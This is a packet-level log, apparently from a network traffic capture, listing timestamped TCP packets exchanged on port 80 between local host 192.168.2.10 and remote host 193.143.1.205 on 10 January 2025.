Jan 10, 2025 21:57:11.969733000 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.975766897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.988965988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.988980055 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.988991022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.989022017 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.989044905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.989054918 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.989065886 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.989078045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.989089012 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:11.989137888 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:11.990520954 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.029941082 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.029958963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.029970884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.029979944 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.029998064 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.030014992 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.030047894 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.063839912 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.063863993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.063885927 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.063899994 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.063911915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.063945055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.063945055 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064045906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064291954 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064316034 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064336061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064361095 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064419985 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064439058 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064459085 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064485073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064515114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064532995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064532995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064616919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064637899 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064651966 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064663887 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064693928 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064706087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064707041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064707041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064707041 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064718008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064729929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064744949 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064791918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064791918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.064970016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.064987898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065001965 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065012932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065037012 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065037012 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065272093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065303087 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065325022 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065336943 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065347910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065360069 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065361023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065361023 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065371990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065383911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065396070 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065407038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065418005 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065438986 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065438986 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065462112 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065476894 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065491915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065498114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065504074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065510035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065510035 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065517902 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.065571070 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.065571070 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066159010 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066171885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066184998 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066195965 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066207886 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066220045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066226959 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066235065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066289902 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066289902 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066293001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066309929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066322088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066328049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066334009 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066339970 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066346884 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066358089 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066376925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.066381931 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066381931 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.066428900 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.075793982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075807095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075819969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075829029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075834990 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075840950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075846910 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075854063 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075860977 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.075866938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.076004982 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.076023102 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.076035976 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.076054096 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.076124907 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.083702087 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.088488102 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.116595984 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116611004 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116622925 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116628885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116636038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116647959 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116652966 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.116672993 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116683960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.116697073 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.116745949 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.130729914 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.140662909 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150639057 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150660038 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150680065 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150691986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150705099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150717020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150728941 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150738955 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150749922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150749922 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150783062 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150783062 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150839090 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150852919 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150865078 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150876045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150883913 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150895119 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150907040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150918007 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150938988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150940895 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.150954008 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150965929 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150978088 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.150990963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.151012897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.151012897 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.151048899 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.154198885 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.158929110 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.184737921 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184757948 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184768915 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184782028 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184796095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184808969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184829950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184849024 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184861898 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184869051 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.184873104 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184886932 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.184931040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.184931040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.184931040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185017109 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185028076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185097933 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185120106 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185125113 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185137033 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185148001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185161114 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185173988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185183048 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185183048 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185285091 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185430050 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185441971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185452938 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185465097 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185489893 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185528040 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185560942 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185626984 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185743093 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185760975 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185775042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185786963 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185798883 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185811996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185823917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185834885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185847998 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185853004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185853004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185853004 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185861111 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185873985 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185885906 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185899019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.185934067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185934067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.185934067 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186408997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186419964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186434031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186445951 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186460972 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186465025 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186475992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186475992 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186489105 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186500072 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186513901 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186526060 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186537981 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186541080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186541080 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186553001 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186567068 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.186580896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186580896 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.186624050 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187192917 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187205076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187217951 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187230110 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187242031 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187244892 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187253952 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187268019 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187278986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187292099 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187304020 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187326908 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187335014 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187335014 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187335014 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187339067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187350988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187364101 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.187385082 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187385082 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.187398911 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.189671040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189779997 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189790964 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189802885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189815044 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189829111 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189841986 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189857960 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189883947 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.189883947 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.189883947 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.189912081 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.189944029 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189954996 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189970016 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189984083 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.189997911 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190010071 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190021992 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190028906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190028906 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190072060 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190299988 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190319061 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190331936 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190339088 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190344095 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190366983 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190378904 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190392971 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190407038 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190407038 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190514088 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190661907 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190674067 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190690994 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190704107 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190715075 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.190732956 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.190937996 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.194356918 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.203279972 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203309059 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203330040 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203337908 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.203341961 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203355074 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203368902 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203381062 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203397989 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.203440905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.203440905 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.203567028 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237274885 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237292051 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237343073 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237395048 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237406969 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237426043 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237431049 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237467051 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237498045 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237538099 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237559080 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237576962 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237588882 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237601042 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237601995 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237613916 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237626076 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237636089 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237638950 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237684965 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237690926 CET	49705	80	192.168.2.10	193.143.1.205
Jan 10, 2025 21:57:12.237696886 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237708092 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237720013 CET	80	49705	193.143.1.205	192.168.2.10
Jan 10, 2025 21:57:12.237731934 CET	80	49705	193.143.1.205	192.168.2.10
